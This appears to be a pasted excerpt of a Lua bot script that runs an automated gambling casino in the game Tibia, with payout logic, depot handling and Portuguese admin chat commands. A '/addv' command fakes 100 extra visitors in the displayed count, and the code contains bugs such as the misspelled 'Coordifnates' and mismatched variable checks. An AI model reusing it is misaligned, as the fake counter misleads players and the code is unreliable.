  1437.   elseif type == "moneyw" then
  1438.     if PlayerTable ~= nil and PlayerTable.BALANCE ~= nil and PlayerTable.JOGO ~= nil and PlayerTable.JOGO ~= 0 then
  1439.       if PlayerTable.BALANCE > BetOption[PlayerTable.JOGO].Max then
  1440.         if PlayerTable.JOGO ~= Games.AH and PlayerTable.JOGO ~= Games.AL then
  1441.           return math.floor(BetOption[PlayerTable.JOGO].Max * (BetOption[PlayerTable.JOGO].Payout / 100))
  1442.         elseif PlayerTable.AL ~= nil then
  1443.           return  math.floor(PlayerTable.AL * PayoutOption / 100)
  1444.         elseif PlayerTable.AH ~= nil then
  1445.           return  math.floor(PlayerTable.AH * PayoutOption / 100)
  1446.         end
  1447.       elseif PlayerTable.JOGO ~= Games.AH and PlayerTable.JOGO ~= Games.AL then
  1448.         return math.floor(PlayerTable.BALANCE  * (BetOption[PlayerTable.JOGO].Payout / 100))
  1449.       elseif PlayerTable.AL ~= nil then
  1450.         return  math.floor(PlayerTable.AL * PayoutOption / 100)
  1451.       elseif PlayerTable.AH ~= nil then
  1452.         return  math.floor(PlayerTable.AH * PayoutOption / 100)
  1453.       end
  1454.     end
  1455.   elseif type == "moneyl" then
  1456.     if PlayerTable ~= nil and PlayerTable.BALANCE ~= nil and PlayerTable.JOGO ~= nil and PlayerTable.JOGO ~= 0 then
  1457.       if PlayerTable.BALANCE > BetOption[PlayerTable.JOGO].Max then
  1458.         if PlayerTable.JOGO ~= Games.AH and PlayerTable.JOGO ~= Games.AL then
  1459.           return math.floor(BetOption[PlayerTable.JOGO].Max )
  1460.         elseif PlayerTable.AL ~= nil then
  1461.           return  math.floor(PlayerTable.AL)
  1462.         elseif PlayerTable.AH ~= nil then
  1463.           return  math.floor(PlayerTable.AH)
  1464.         end
  1465.       elseif PlayerTable.JOGO ~= Games.AH and PlayerTable.JOGO ~= Games.AL then
  1466.         return math.floor(PlayerTable.BALANCE)
  1467.       elseif PlayerTable.AL ~= nil then
  1468.         return  math.floor(PlayerTable.AL)
  1469.       elseif PlayerTable.AH ~= nil then
  1470.         return  math.floor(PlayerTable.AH)
  1471.       end
  1472.     end
  1473.   elseif type == "game" and PlayerTable ~= nil and PlayerTable.JOGO ~= nil and PlayerTable.JOGO >= 0 then
  1474.     return Games_Type[PlayerTable.JOGO + 1]
  1475.   end
  1476. end
  1477.  
  1478.  
  1479.  
  1480.  
  1481.  
  1482.  
  1483. --[/////////////////////////////////////////////////////////////////////////////////////////////////////////////--]--[/////////////////////////////////////////////////////////////////////////////////////////////////////////////--]
  1484. --[/////////////////////////////////////////////////////////////////////////////////////////////////////////////--]
  1485. --[/////////////////////////////////////////////////////////////////////////////////////////////////////////////--]
  1486. --[/////////////////////////////////////////////////////////////////////////////////////////////////////////////--]
  1487.  
  1488.  
  1489.  
  1490.  
  1491.  
  1492.    
  1493.     function CheckAvailableDepots()
  1494.         local AvailableDepots = {}
  1495.         local posx, posy, posz = Self.Position().x, Self.Position().y, Self.Position().z
  1496.         for _, spot in ipairs(Gambling_Depots.Yalahar) do
  1497.             if spot["HouseSwitch"][3] == Self.Position().z then
  1498.                 local xDistHouse, xDistPlayer = math.abs(spot["HouseSwitch"][1] - posx), math.abs(spot["PlayerSwitch"][1] - posx)
  1499.                 local yDistHouse, yDistPlayer = math.abs(spot["HouseSwitch"][2] - posy), math.abs(spot["PlayerSwitch"][2] - posy)
  1500.                 if xDistHouse <= 7 and xDistPlayer <= 7 then
  1501.                     if yDistHouse <= 5 and yDistPlayer <= 5 then
  1502.                         local addSpot = true
  1503.                         for _, creature in Creature.iPlayers() do
  1504.                             if (creature:Position().x == spot["HouseSwitch"][1] and creature:Position().y == spot["HouseSwitch"][2] and creature:Position().z == posz) or
  1505.                                 (creature:Position().x == spot["PlayerSwitch"][1] and creature:Position().y == spot["PlayerSwitch"][2] and creature:Position().z == posz) then
  1506.                                 addSpot = false
  1507.                                 break
  1508.                             end
  1509.                         end
  1510.                         if addSpot then
  1511.                             table.insert(AvailableDepots, spot)
  1512.                         end
  1513.                     end
  1514.                 end
  1515.             end
  1516.         end
  1517.         ProcessDebugMessage('Casino Debugger', 'The script found '..#AvailableDepots..' available depots')
  1518.         return AvailableDepots
  1519.     end
  1520.    
  1521.  
  1522.  
  1523.  
  1524.  
  1525.  
  1526.     function UpdateCoordinates()
  1527.         local posx, posy, posz = Self.Position().x, Self.Position().y, Self.Position().z
  1528.         local spot = nil
  1529.         if not spot then
  1530.             for _, gamblingSpot in ipairs(Gambling_Depots.Yalahar) do
  1531.                 if posx == gamblingSpot["HouseSwitch"][1] and posy == gamblingSpot["HouseSwitch"][2] and posz == gamblingSpot["HouseSwitch"][3] then
  1532.                     spot = gamblingSpot
  1533.                     break
  1534.                 end
  1535.             end
  1536.         end
  1537.         if not spot then
  1538.             for _, gamblingSpot in ipairs(Gambling_Depots.Thais) do
  1539.                 if posx == gamblingSpot["HouseSwitch"][1] and posy == gamblingSpot["HouseSwitch"][2] and posz == gamblingSpot["HouseSwitch"][3] then
  1540.                     spot = gamblingSpot
  1541.                     break
  1542.                 end
  1543.             end
  1544.         end
  1545.         if not spot then
  1546.             for _, gamblingSpot in ipairs(Gambling_Depots.Venore) do
  1547.                 if posx == gamblingSpot["HouseSwitch"][1] and posy == gamblingSpot["HouseSwitch"][2] and posz == gamblingSpot["HouseSwitch"][3] then
  1548.                     spot = gamblingSpot
  1549.                     break
  1550.                 end
  1551.             end
  1552.         end
  1553.         if spot then
  1554.             Coordinates.Locker.x, Coordinates.Locker.y, Coordinates.Locker.z = spot["HouseDepot"][1], spot["HouseDepot"][2], spot["HouseDepot"][3]
  1555.             Coordinates.Player.x, Coordinates.Player.y, Coordinates.Player.z = spot["PlayerSwitch"][1], spot["PlayerSwitch"][2], spot["PlayerSwitch"][3]
  1556.             Coordinates.Counter.x, Coordinates.Counter.y, Coordifnates.Counter.z = spot["Counter"][1], spot["Counter"][2], spot["Counter"][3]
  1557.             Coordinates.Adjacent_Locker.x, Coordinates.Adjacent_Locker.y, Coordinates.Adjacent_Locker.z = spot["PlayerDepot"][1], spot["PlayerDepot"][2], spot["PlayerDepot"][3]
  1558.             return true
  1559.         end
  1560.         return false
  1561.     end
  1562.    
  1563.    
  1564.    
  1565.    
  1566.      
  1567. Module.New('Casino_Turn', function(Mod)
  1568.         Gambler_Detected = false
  1569.         for name, creature in Creature.iNpcs(2) do
  1570.             if (creature.iNpcs:Position().x == Self.Position().x + 2 and creature.iNpcs:Position().y == Self.Position().y and creature.iNpcs:Position().z == Self.Position().z) or (creature.iNpcs:Position().x == Self.Position().x - 2 and creature.iNpcs:Position().y == Self.Position().y and creature.iNpcs:Position().z == Self.Position().z) then
  1571.                 Gambler_Detected = true
  1572.         end
  1573.         end
  1574.         for name, creature in Creature.iPlayers(2) do
  1575.             if (creature:Position().x == Self.Position().x + 2 and creature:Position().y == Self.Position().y and creature:Position().z == Self.Position().z) or (creature:Position().x == Self.Position().x - 2 and creature:Position().y == Self.Position().y and creature:Position().z == Self.Position().z) then
  1576.                 Gambler_Detected = true
  1577.         end
  1578.     Mod:Delay(100)
  1579. end
  1580. end)
  1581.    
  1582.     function onWalkLabel(labelName)
  1583.         local newLocation = false
  1584.         Last_Activity_Player = os.time()
  1585.         if (Gambler_Detected == false) then
  1586.             if (labelName == 'Spot1') or
  1587.                 (labelName == 'Spot2') or
  1588.                 (labelName == 'Spot3') or
  1589.                 (labelName == 'Spot4') or
  1590.                 (labelName == 'Spot5') or
  1591.                 (labelName == 'Spot6') then
  1592.                 setWalkerEnabled(false)
  1593.                 Self.Say('I found new spot, casino loading..')
  1594.                 Open_Casino:Start()
  1595.                 Stop_Casino = false
  1596.                 newLocation = CoordinatesDC()
  1597.                 disableLocalChat = false
  1598.                 Last_Activity_Player = os.time()
  1599.                 Last_Activity_Player2 = os.time()
  1600.             end
  1601.         end
  1602.     end
  1603.  
  1604.  
  1605.  
  1606.  
  1607.  
  1608.  
  1609.  
  1610. Module.New('RuneIfStuck', function(Mod)
  1611.     if Walker.IsStuck() then
  1612.     Self.Say('utani hur')
  1613.     end
  1614.     if Walker.IsStuck() and Self.Position().z == 7 then
  1615.         gotoLabel('Wchodzina1')
  1616.     end
  1617.     if Walker.IsStuck() and Self.Position().z == 6 then
  1618.         gotoLabel('Wchodzina2')
  1619.     end
  1620.     if Walker.IsStuck() and Self.Position().z == 5 then
  1621.         gotoLabel('Schodzina1')
  1622.     end
  1623.     if Walker.IsStuck() and Self.Position().z == 8 then
  1624.         gotoLabel('Wchodzinagore')
  1625.     end
  1626.     Mod:Delay(3000)
  1627.  
  1628. end)
  1629.  
  1630.  
  1631. --[/////////////////////////////////////////////////////////////////////////////////////////////////////////////--]
  1632. --[/////////////////////////////////////////////////////////////////////////////////////////////////////////////--]
  1633. --[/////////////////////////////////////////////////////////////////////////////////////////////////////////////--]
  1634. --[/////////////////////////////////////////////////////////////////////////////////////////////////////////////--]
  1635.  
  1636. function Replace(message)
  1637.   replacements = {
  1638.     ["|HLMIN|"] = _Games_HighLow_Min,
  1639.     ["|HLMAX|"] = _Games_HighLow_Max,
  1640.     ["|HLPAY|"] = _Games_HighLow_Payout,
  1641.     ["|HLACMIN|"] = _Games_HighLow_Acumulative_Min * 10,
  1642.     ["|HLACMAX|"] = _Games_HighLow_Acumulative_Max * 10,
  1643.     ["|HLACPAY|"] = _Games_HighLow_Acumulative_Payout,
  1644.     ["|NUMMIN|"] = _Games_Numbers_Min * 10,
  1645.     ["|NUMMAX|"] = _Games_Numbers_Max * 10,
  1646.     ["|NUMPAY|"] = _Games_Numbers_Payout,
  1647.     ["|BJMIN|"] = _Games_BlackJack_Min * 10,
  1648.     ["|BJMAX|"] = _Games_BlackJack_Max * 10,
  1649.     ["|BJPAY|"] = _Games_BlackJack_Payout,
  1650.     ["|XXXMIN|"] = _Games_XXX_Min * 10,
  1651.     ["|XXXMAX|"] = _Games_XXX_Max * 10,
  1652.     ["|XXXPAY|"] = _Games_XXX_Payout,
  1653.     ["|OEMIN|"] = _Games_OddEven_Min * 10,
  1654.     ["|OEMAX|"] = _Games_OddEven_Max * 10,
  1655.     ["|OEPAY|"] = _Games_OddEven_Payout,
  1656.     ["|CASINO|"] = Self.Name(),
  1657.     ["|GUESTS|"] = Casino.Players_Count,
  1658.     ["|BALANCE|"] = GetPlayerTable("balance") ,
  1659.     ["|BALANCEWL|"] = GetPlayerTable("balancewl"),
  1660.     ["|MONEYWIN|"] = GetPlayerTable("moneyw"),
  1661.     ["|MONEYLOSE|"] = GetPlayerTable("moneyl"),
  1662.     ["|GAME|"] = GetPlayerTable("game")
  1663.   }
  1664.   result = string.gsub(message, "|%a+|", function(str)
  1665.     return replacements[str]
  1666.   end)
  1667.   return result
  1668. end
  1669. function backToCheck()
  1670.   if Container_Index.CC_BP:GoBack() then
  1671.     wait(Self.Ping() + 300)
  1672.     for i = 0, Container_Index.CC_BP:ItemCount() - 1 do
  1673.       local Spot = Container_Index.CC_BP:GetItemData(i)
  1674.       if Spot.id == 3043 then
  1675.         TotalCrystal = TotalCrystal - Spot.count
  1676.       end
  1677.     end
  1678.     print("Total Crystal (Extra): " .. TotalCrystal)
  1679.     if 0 < Container_Index.CC_BP:CountItemsOfID(3043) then
  1680.       return true
  1681.     else
  1682.       if 0 < Container_Index.CC_BP:CountItemsOfID(3043) then
  1683.         return true
  1684.       elseif not table.contains(LimitSay.SORRY_CASINO, "backToCheck") then
  1685.         Self.Say(Replace(_Messages_NoMoney))
  1686.         table.insert(LimitSay.SORRY_CASINO, "backToCheck")
  1687.       end
  1688.     end
  1689.   end
  1690. end
  1691. function CountMoney(CONTAINER)
  1692.   local Cont = Container.New(CONTAINER:lower())
  1693.   local MoneyTotal = 0
  1694.   if Cont:isOpen() then
  1695.     for i = 0, Cont:ItemCount() - 1 do
  1696.       local Spot = Cont:GetItemData(i)
  1697.       if Spot.id == 3043 then
  1698.         MoneyTotal = MoneyTotal + Spot.count
  1699.       end
  1700.     end
  1701.   end
  1702.   return MoneyTotal
  1703. end
  1704.  
  1705. function Close_Casino(force)
  1706.   if Casino_Started or force == true then
  1707.     for i = 0, Container_Index.Locker:ItemCount() - 1 do
  1708.       local Spot = Container_Index.Locker:GetItemData(i)
  1709.       if table.contains(_Decoration_Items, Item.GetName(Spot.id)) then
  1710.         Container_Index.Locker:MoveItemToContainer(i, Container_Index.Depot:Index(), Container_Index.Depot:ItemCapacity() - 1, 50)
  1711.         wait(Self.Ping() + 350)
  1712.         for j = 1, #_Decoration_Items do
  1713.           if 0 < Container_Index.Locker:CountItemsOfID(Item.GetID(_Decoration_Items[j]:lower())) then
  1714.             Close_Casino()
  1715.           end
  1716.         end
  1717.       end
  1718.     end
  1719.     for i = 0, Container_Index.Locker:ItemCount() - 1 do
  1720.       local Spot = Container_Index.Locker:GetItemData(i)
  1721.       while table.contains(Dice_IDs, Spot.id) do
  1722.         Container_Index.Locker:MoveItemToContainer(i, Container_Index.Depot:Index(), Container_Index.Depot:ItemCapacity() - 1, Spot.count)
  1723.         wait(Self.Ping() + 100)
  1724.         break
  1725.       end
  1726.     end
  1727.     if _Casino_Depot == true then
  1728.       local TapestryID = Item.GetID(_Decoration_Tapestry:lower())
  1729.       if Map.GetTopMoveItem(Positions.Depot_Pos.x - 1, Positions.Depot_Pos.y, Positions.Depot_Pos.z).id == TapestryID then
  1730.         Map.PickupItem(Positions.Depot_Pos.x - 1, Positions.Depot_Pos.y, Positions.Depot_Pos.z, Container_Index.Depot:Index(), Container_Index.Depot:ItemCapacity() - 1)
  1731.         wait(Self.Ping() + 100)
  1732.       end
  1733.     end
  1734.     for i = 0, 15 do
  1735.       closeContainer(i)
  1736.     end
  1737.     Stop_Modules()
  1738.     Casino_Started = false
  1739.   end
  1740. end
  1741. function onWrite(_Channel_Casino, message)
  1742.   _Channel_Casino:SendYellowMessage(Self.Name(), message)
  1743.   local Message = message:lower():trim()
  1744.   local cmd, value = message:lower():match("^/([a-z]+) (.+)$")
  1745.   if Message == "uptime" then
  1746.     _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Uptime: " .. Hud.Statistics.Statistics_Casino_Session_TimeT)
  1747.   elseif Message == "credits" then
  1748.     _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Criado por Charles | Skype: charles.kassab")
  1749.   elseif Message == "/help" then
  1750.     for i = 1, #Comandos do
  1751.       _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", Comandos[i])
  1752.       if i == #Comandos then
  1753.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Todos os comandos do Cassino s\227o esses.")
  1754.       end
  1755.     end
  1756.   elseif Message == "profit" then
  1757.     _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Profit: " .. Casino.Profit)
  1758.   elseif Message == "/start" then
  1759.     if Casino_Started == false then
  1760.       _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Abrindo Cassino!")
  1761.       Open_Casino:Start()
  1762.       Stop_Casino = false
  1763.     else
  1764.       _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Seu cassino j\225 est\225 Ligado!")
  1765.     end
  1766.   elseif Message == "/stop" then
  1767.     _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Fechando Cassino!")
  1768.     Close_Casino()
  1769.     Stop_Casino = true
  1770.     SaveLog()
  1771.   elseif Message == "/pause" then
  1772.     if Stop_Casino == false then
  1773.       _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Pausado (para voltar ao normal use /resume).")
  1774.       Casino_Started = false
  1775.       Stop_Casino = true
  1776.     else
  1777.       _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "O cassino j\225 est\225 pausado!")
  1778.     end
  1779.   elseif Message == "/resume" then
  1780.     if Stop_Casino == true then
  1781.       _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Resumido!")
  1782.       Casino_Started = true
  1783.       Stop_Casino = false
  1784.     else
  1785.       _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "O cassino n\227o est\225 pausado para ser resumido!")
  1786.     end
  1787.   elseif Message == "/reset" then
  1788.     _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "HUD Reset Success!")
  1789.     Casino.Profit = 0
  1790.     Casino.Players_Count = 0
  1791.     Casino.TopGames = {
  1792.       H = 0,
  1793.       L = 0,
  1794.       HAC = 0,
  1795.       LAC = 0,
  1796.       NUM = 0,
  1797.       XXX = 0,
  1798.       ODD = 0,
  1799.       EVEN = 0
  1800.     }
  1801.     for i, v in pairs(Player) do
  1802.       if v ~= nil and v.LOSETOP ~= nil and v.LOSETOP.Money ~= nil then
  1803.         v.LOSETOP.Money = 0
  1804.         v.WINTOP.Money = 0
  1805.       end
  1806.     end
  1807.   elseif Message == "/addv" then
  1808.     _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Foram adicionados mais 100 Visitantes!")
  1809.     Casino.Players_Count = Casino.Players_Count + 100
  1810.   end
  1811.   if cmd == "hlmin" then
  1812.     if value then
  1813.       local HighLow_Min = tonumber(value)
  1814.       BetOption[1].Min = HighLow_Min
  1815.       BetOption[2].Min = HighLow_Min
  1816.       _Games_HighLow_Min = HighLow_Min
  1817.       if HighLow_Min then
  1818.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{High/Low} - Minimo ajustado para: " .. HighLow_Min * 10 .. "k.")
  1819.       else
  1820.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Por favor, para usar o comando digite /hlmin NUMEROAQUI")
  1821.       end
  1822.     end
  1823.   elseif cmd == "hlmax" then
  1824.     if value then
  1825.       local HighLow_Max = tonumber(value)
  1826.       BetOption[1].Max = HighLow_Max
  1827.       BetOption[2].Max = HighLow_Max
  1828.       _Games_HighLow_Max = HighLow_Max
  1829.       if HighLow_Max then
  1830.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{High/Low} - M\225ximo ajustado para: " .. HighLow_Max * 10 .. "k.")
  1831.       else
  1832.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Por favor, para usar o comando digite /hlmax NUMEROAQUI")
  1833.       end
  1834.     end
  1835.   elseif cmd == "hlpay" then
  1836.     if value then
  1837.       local HighLow_Payout = tonumber(value)
  1838.       BetOption[1].Payout = HighLow_Payout
  1839.       BetOption[2].Payout = HighLow_Payout
  1840.       _Games_HighLow_Payout = HighLow_Payout
  1841.       if HighLow_Payout then
  1842.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{High/Low} - Payout ajustado para: " .. HighLow_Payout .. "%.")
  1843.       else
  1844.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Por favor, para usar o comando digite /hlpay NUMEROAQUI")
  1845.       end
  1846.     end
  1847.   elseif cmd == "hlmode" then
  1848.     if value then
  1849.       local Choice = value:lower()
  1850.       if Choice == "on" and _Games_HighLow_Enabled == false then
  1851.         _Games_HighLow_Enabled = true
  1852.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{High/Low} - LIGADO!")
  1853.       elseif Choice == "off" and _Games_HighLow_Enabled == true then
  1854.         _Games_HighLow_Enabled = false
  1855.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{High/Low} - DESLIGADO!")
  1856.       else
  1857.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{High/Low} - Verifique se voc\234 digitou 'on' para ligar ou 'off' para desligar. | Caso n\227o funcionar quer dizer que j\225 est\225 configurado como solicitado.")
  1858.       end
  1859.     end
  1860.   elseif cmd == "hlacmin" then
  1861.     if value then
  1862.       local HighLow_AC_Min = tonumber(value)
  1863.       BetOption[6].Min = HighLow_AC_Min
  1864.       BetOption[7].Min = HighLow_AC_Min
  1865.       _Games_HighLow_Acumulative_Min = HighLow_AC_Min
  1866.       if HighLow_AC_Min then
  1867.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{High/Low (AC)} - M\225ximo ajustado para: " .. HighLow_AC_Min * 10 .. "k.")
  1868.       else
  1869.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Por favor, para usar o comando digite /hlacmin NUMEROAQUI")
  1870.       end
  1871.     end
  1872.   elseif cmd == "hlacmax" then
  1873.     if value then
  1874.       local HighLow_AC_Max = tonumber(value)
  1875.       BetOption[6].Max = HighLow_AC_Max
  1876.       BetOption[7].Max = HighLow_AC_Max
  1877.       _Games_HighLow_Acumulative_Max = HighLow_AC_Max
  1878.       if HighLow_AC_Max then
  1879.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{High/Low (AC)} - M\225ximo ajustado para: " .. HighLow_AC_Max * 10 .. "k.")
  1880.       else
  1881.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Por favor, para usar o comando digite /hlacmax NUMEROAQUI")
  1882.       end
  1883.     end
  1884.   elseif cmd == "hlacpay" then
  1885.     if value then
  1886.       local HighLow_AC_Payout = tonumber(value)
  1887.       _Games_HighLow_Acumulative_Payout = HighLow_AC_Payout
  1888.       BetOption[6].Payout = HighLow_AC_Payout
  1889.       BetOption[7].Payout = HighLow_AC_Payout
  1890.       if HighLow_AC_Payout then
  1891.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{High/Low (AC)} - Payout ajustado para: " .. HighLow_AC_Payout .. "%.")
  1892.       else
  1893.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Por favor, para usar o comando digite /hlacpay NUMEROAQUI")
  1894.       end
  1895.     end
  1896.   elseif cmd == "hlacmode" then
  1897.     if value then
  1898.       local Choice = value:lower()
  1899.       if Choice == "on" and _Games_HighLow_Acumulative_Enabled == false then
  1900.         _Games_HighLow_Acumulative_Enabled = true
  1901.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{High/Low (AC)} - LIGADO!")
  1902.       elseif Choice == "off" and _Games_HighLow_Acumulative_Enabled == true then
  1903.         _Games_HighLow_Acumulative_Enabled = false
  1904.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{High/Low (AC)} - DESLIGADO!")
  1905.       else
  1906.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{High/Low (AC)} - Verifique se voc\234 digitou 'on' para ligar ou 'off' para desligar. | Caso n\227o funcionar quer dizer que j\225 est\225 configurado como solicitado.")
  1907.       end
  1908.     end
  1909.   elseif cmd == "nummin" then
  1910.     if value then
  1911.       local Numbers_Min = tonumber(value)
  1912.       _Games_Numbers_Min = Numbers_Min
  1913.       BetOption[5].Min = Numbers_Min
  1914.       if Numbers_Min then
  1915.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{Numbers} - Minimo ajustado para: " .. Numbers_Min * 10 .. "k.")
  1916.       else
  1917.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Por favor, para usar o comando digite /nummin NUMEROAQUI")
  1918.       end
  1919.     end
  1920.   elseif cmd == "nummax" then
  1921.     if value then
  1922.       local Numbers_Max = tonumber(value)
  1923.       _Games_Numbers_Max = Numbers_Max
  1924.       BetOption[5].Max = Numbers_Max
  1925.       if Numbers_Min then
  1926.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{Numbers} - M\225ximo ajustado para: " .. Numbers_Max * 10 .. "k.")
  1927.       else
  1928.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Por favor, para usar o comando digite /nummax NUMEROAQUI")
  1929.       end
  1930.     end
  1931.   elseif cmd == "numpay" then
  1932.     if value then
  1933.       local Numbers_Payout = tonumber(value)
  1934.       _Games_Numbers_Payout = Numbers_Payout
  1935.       BetOption[5].Payout = Numbers_Payout
  1936.       if Numbers_Payout then
  1937.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{Numbers} - Payout ajustado para: " .. Numbers_Payout .. "%.")
  1938.       else
  1939.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Por favor, para usar o comando digite /numpay NUMEROAQUI")
  1940.       end
  1941.     end
  1942.   elseif cmd == "nummode" then
  1943.     if value then
  1944.       local Choice = value:lower()
  1945.       if Choice == "on" and _Games_Numbers_Enabled == false then
  1946.         _Games_Numbers_Enabled = true
  1947.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{Numbers} - LIGADO!")
  1948.       elseif Choice == "off" and _Games_Numbers_Enabled == true then
  1949.         _Games_Numbers_Enabled = false
  1950.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{Numbers} - DESLIGADO!")
  1951.       else
  1952.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{Numbers} - Verifique se voc\234 digitou 'on' para ligar ou 'off' para desligar. | Caso n\227o funcionar quer dizer que j\225 est\225 configurado como solicitado.")
  1953.       end
  1954.     end
  1955.   elseif cmd == "bjmin" then
  1956.     if value then
  1957.       local BlackJack_Min = tonumber(value)
  1958.       if BlackJack_Min then
  1959.         _Games_BlackJack_Min = BlackJack_Min
  1960.         BetOption[3].Min = BlackJack_Min
  1961.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{BlackJack} - Minimo ajustado para: " .. BlackJack_Min * 10 .. "k.")
  1962.       else
  1963.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Por favor, para usar o comando digite /bjmin NUMEROAQUI")
  1964.       end
  1965.     end
  1966.   elseif cmd == "bjmax" then
  1967.     if value then
  1968.       local BlackJack_Max = tonumber(value)
  1969.       if BlackJack_Max then
  1970.         _Games_BlackJack_Max = BlackJack_Max
  1971.         BetOption[3].Max = BlackJack_Max
  1972.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{BlackJack} - Minimo ajustado para: " .. BlackJack_Max * 10 .. "k.")
  1973.       else
  1974.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Por favor, para usar o comando digite /bjmax NUMEROAQUI")
  1975.       end
  1976.     end
  1977.   elseif cmd == "bjpay" then
  1978.     if value then
  1979.       local BlackJack_Payout = tonumber(value)
  1980.       if BlackJack_Payout then
  1981.         _Games_BlackJack_Payout = BlackJack_Payout
  1982.         BetOption[3].Payout = BlackJack_Payout
  1983.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{BlackJack} - Minimo ajustado para: " .. BlackJack_Payout .. "%.")
  1984.       else
  1985.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Por favor, para usar o comando digite /bjpay NUMEROAQUI")
  1986.       end
  1987.     end
  1988.   elseif cmd == "bjmode" then
  1989.     if value then
  1990.       local Choice = value:lower()
  1991.       if Choice == "on" and _Games_BlackJack_Enabled == false then
  1992.         _Games_BlackJack_Enabled = true
  1993.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{BlackJack} - LIGADO!")
  1994.       elseif Choice == "off" and _Games_BlackJack_Enabled == true then
  1995.         _Games_BlackJack_Enabled = false
  1996.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{BlackJack} - DESLIGADO!")
  1997.       else
  1998.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{BlackJack} - Verifique se voc\234 digitou 'on' para ligar ou 'off' para desligar. | Caso n\227o funcionar quer dizer que j\225 est\225 configurado como solicitado.")
  1999.       end
  2000.     end
  2001.   elseif cmd == "xxxmin" then
  2002.     if value then
  2003.       local XXX_Min = tonumber(value)
  2004.       if XXX_Min then
  2005.         _Games_XXX_Min = XXX_Min
  2006.         BetOption[8].Min = XXX_Min
  2007.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{3X3} - Minimo ajustado para: " .. XXX_Min * 10 .. "k.")
  2008.       else
  2009.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Por favor, para usar o comando digite /xxxmin NUMEROAQUI")
  2010.       end
  2011.     end
  2012.   elseif cmd == "xxxmax" then
  2013.     if value then
  2014.       local XXX_Max = tonumber(value)
  2015.       if XXX_Max then
  2016.         _Games_XXX_Max = XXX_Max
  2017.         BetOption[8].Max = XXX_Max
  2018.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{3X3} - Minimo ajustado para: " .. XXX_Max * 10 .. "k.")
  2019.       else
  2020.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Por favor, para usar o comando digite /xxxmax NUMEROAQUI")
  2021.       end
  2022.     end
  2023.   elseif cmd == "xxxpay" then
  2024.     if value then
  2025.       local XXX_Payout = tonumber(value)
  2026.       if XXX_Payout then
  2027.         _Games_XXX_Payout = XXX_Payout
  2028.         BetOption[8].Payout = XXX_Payout
  2029.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{3X3} - Minimo ajustado para: " .. XXX_Payout .. "%.")
  2030.       else
  2031.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Por favor, para usar o comando digite /xxxpay NUMEROAQUI")
  2032.       end
  2033.     end
  2034.   elseif cmd == "xxxmode" then
  2035.     if value then
  2036.       local Choice = value:lower()
  2037.       if Choice == "on" and _Games_XXX_Enabled == false then
  2038.         _Games_XXX_Enabled = true
